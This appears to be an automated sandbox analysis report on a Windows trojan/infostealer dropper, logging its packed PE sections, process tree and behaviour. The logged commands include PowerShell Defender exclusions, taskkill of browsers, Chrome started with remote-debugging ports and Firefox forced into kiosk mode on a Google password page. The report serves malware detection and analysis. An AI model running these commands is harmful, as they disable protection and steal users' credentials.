Source: e637491e0c.exe.6.dr Static PE information: section name:
Source: e637491e0c.exe.6.dr Static PE information: section name: .idata
Source: e637491e0c.exe.6.dr Static PE information: section name:
Source: 178ba86573.exe.6.dr Static PE information: section name:
Source: 178ba86573.exe.6.dr Static PE information: section name: .idata
Source: 178ba86573.exe.6.dr Static PE information: section name:
Source: random[3].exe1.6.dr Static PE information: section name:
Source: random[3].exe1.6.dr Static PE information: section name: .idata
Source: 6f3b41816f.exe.6.dr Static PE information: section name:
Source: 6f3b41816f.exe.6.dr Static PE information: section name: .idata
PE file has a writeable .text section
Source: bb31c9d4a53941b6b913f33980d23feb.exe.12.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Creates files inside the system directory
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00C078BB 0_2_00C078BB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00C07049 0_2_00C07049
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00C08860 0_2_00C08860
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00C031A8 0_2_00C031A8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00CD8101 0_2_00CD8101
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BC4B30 0_2_00BC4B30
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00CD7B6E 0_2_00CD7B6E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BC4DE0 0_2_00BC4DE0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00C02D10 0_2_00C02D10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00C0779B 0_2_00C0779B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BF7F36 0_2_00BF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EE78BB 1_2_00EE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EE8860 1_2_00EE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EE7049 1_2_00EE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EE31A8 1_2_00EE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EA4B30 1_2_00EA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EA4DE0 1_2_00EA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EE2D10 1_2_00EE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EE779B 1_2_00EE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00ED7F36 1_2_00ED7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EE78BB 2_2_00EE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EE8860 2_2_00EE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EE7049 2_2_00EE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EE31A8 2_2_00EE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EA4B30 2_2_00EA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EA4DE0 2_2_00EA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EE2D10 2_2_00EE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EE779B 2_2_00EE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00ED7F36 2_2_00ED7F36
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002D1000 9_2_002D1000
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002D4C8C 9_2_002D4C8C
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002E6F3A 9_2_002E6F3A
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: String function: 002D5190 appears 46 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 00BD80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00EB80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00EBDF80 appears 36 times
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: random[3].exe.6.dr Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[3].exe.6.dr Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: 74b92d58dc.exe.6.dr Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 74b92d58dc.exe.6.dr Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: random[1].exe0.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 85746525a0.exe.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 85746525a0.exe.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe2.6.dr Static PE information: Section: hvytnhuk ZLIB complexity 0.9942864734081042
Source: 932bb971c3.exe.6.dr Static PE information: Section: hvytnhuk ZLIB complexity 0.9942864734081042
Source: random[2].exe.6.dr Static PE information: Section: uqowvfqu ZLIB complexity 0.9899639159728308
Source: c9692f9101.exe.6.dr Static PE information: Section: uqowvfqu ZLIB complexity 0.9899639159728308
Source: random[3].exe0.6.dr Static PE information: Section: agnlrrtx ZLIB complexity 0.9945160602247656
Source: e577d0589a.exe.6.dr Static PE information: Section: agnlrrtx ZLIB complexity 0.9945160602247656
Source: random[2].exe0.6.dr Static PE information: Section: ZLIB complexity 0.997384685359589
Source: random[2].exe0.6.dr Static PE information: Section: lukocbxy ZLIB complexity 0.9947125312594726
Source: ed7d415177.exe.6.dr Static PE information: Section: ZLIB complexity 0.997384685359589
Source: ed7d415177.exe.6.dr Static PE information: Section: lukocbxy ZLIB complexity 0.9947125312594726
Source: e637491e0c.exe.6.dr Static PE information: Section: hvytnhuk ZLIB complexity 0.9942864734081042
Source: 796ecf2647.exe.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 796ecf2647.exe.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 178ba86573.exe.6.dr Static PE information: Section: uqowvfqu ZLIB complexity 0.9899639159728308
Source: 81d22383f9.exe.6.dr, Program.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 81d22383f9.exe.6.dr, Program.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 92aba5cf15.exe.6.dr, Program.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 92aba5cf15.exe.6.dr, Program.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[1].exe1.6.dr, Program.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[1].exe1.6.dr, Program.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: fb22de53cd93474896e72899203b572f.exe.12.dr, PayloadV1.cs Suspicious method names: .PayloadV1.Validate
Source: fb22de53cd93474896e72899203b572f.exe.12.dr, PayloadExtensions.cs Suspicious method names: .PayloadExtensions.GetArchitectureMinimum
Source: 12.2.81d22383f9.exe.3396d68.0.raw.unpack, PayloadExtensions.cs Suspicious method names: .PayloadExtensions.GetArchitectureMinimum
Source: 12.2.81d22383f9.exe.3396d68.0.raw.unpack, PayloadV1.cs Suspicious method names: .PayloadV1.Validate
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@142/126@28/17
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3600:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7200:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1020:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3020:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4456:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7796:120:WilError_03
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\{f6bec8ba-58ff-4dfc-9981-2ec5ebd23734}-9MSZ40SLW145
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Command line argument: .- 9_2_002DE280
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe System information queried: HandleInformation
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: 85746525a0.exe, 0000000B.00000003.2613199474.00000000032C5000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2611537544.00000000032F7000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3120744583.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3121749015.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3337291085.0000000005508000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3238610542.0000000005EF6000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3280444442.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe Virustotal: Detection: 56%
Source: file.exe ReversingLabs: Detection: 52%
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe "C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe "C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe"
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Process created: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe "C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe "C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\agfznulwo"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe "C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe "C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe "C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe "C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe "C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe "C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe"
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2072,i,2373336056486435438,11237397137693993043,262144 /prefetch:8
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe "C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe "C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe"
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe "C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe"
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe "C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe"
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2204,i,16921492917580984058,10404394460730179528,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe "C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2292 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7ce4f639-b801-4da5-9524-7365bf392772} 2816 "\\.\pipe\gecko-crash-server-pipe.2816" 223fe469310 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe "C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe"
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe "C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe "C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe"
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe "C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe "C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe "C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe "C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe "C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe "C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe "C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe "C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe "C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe "C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe "C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
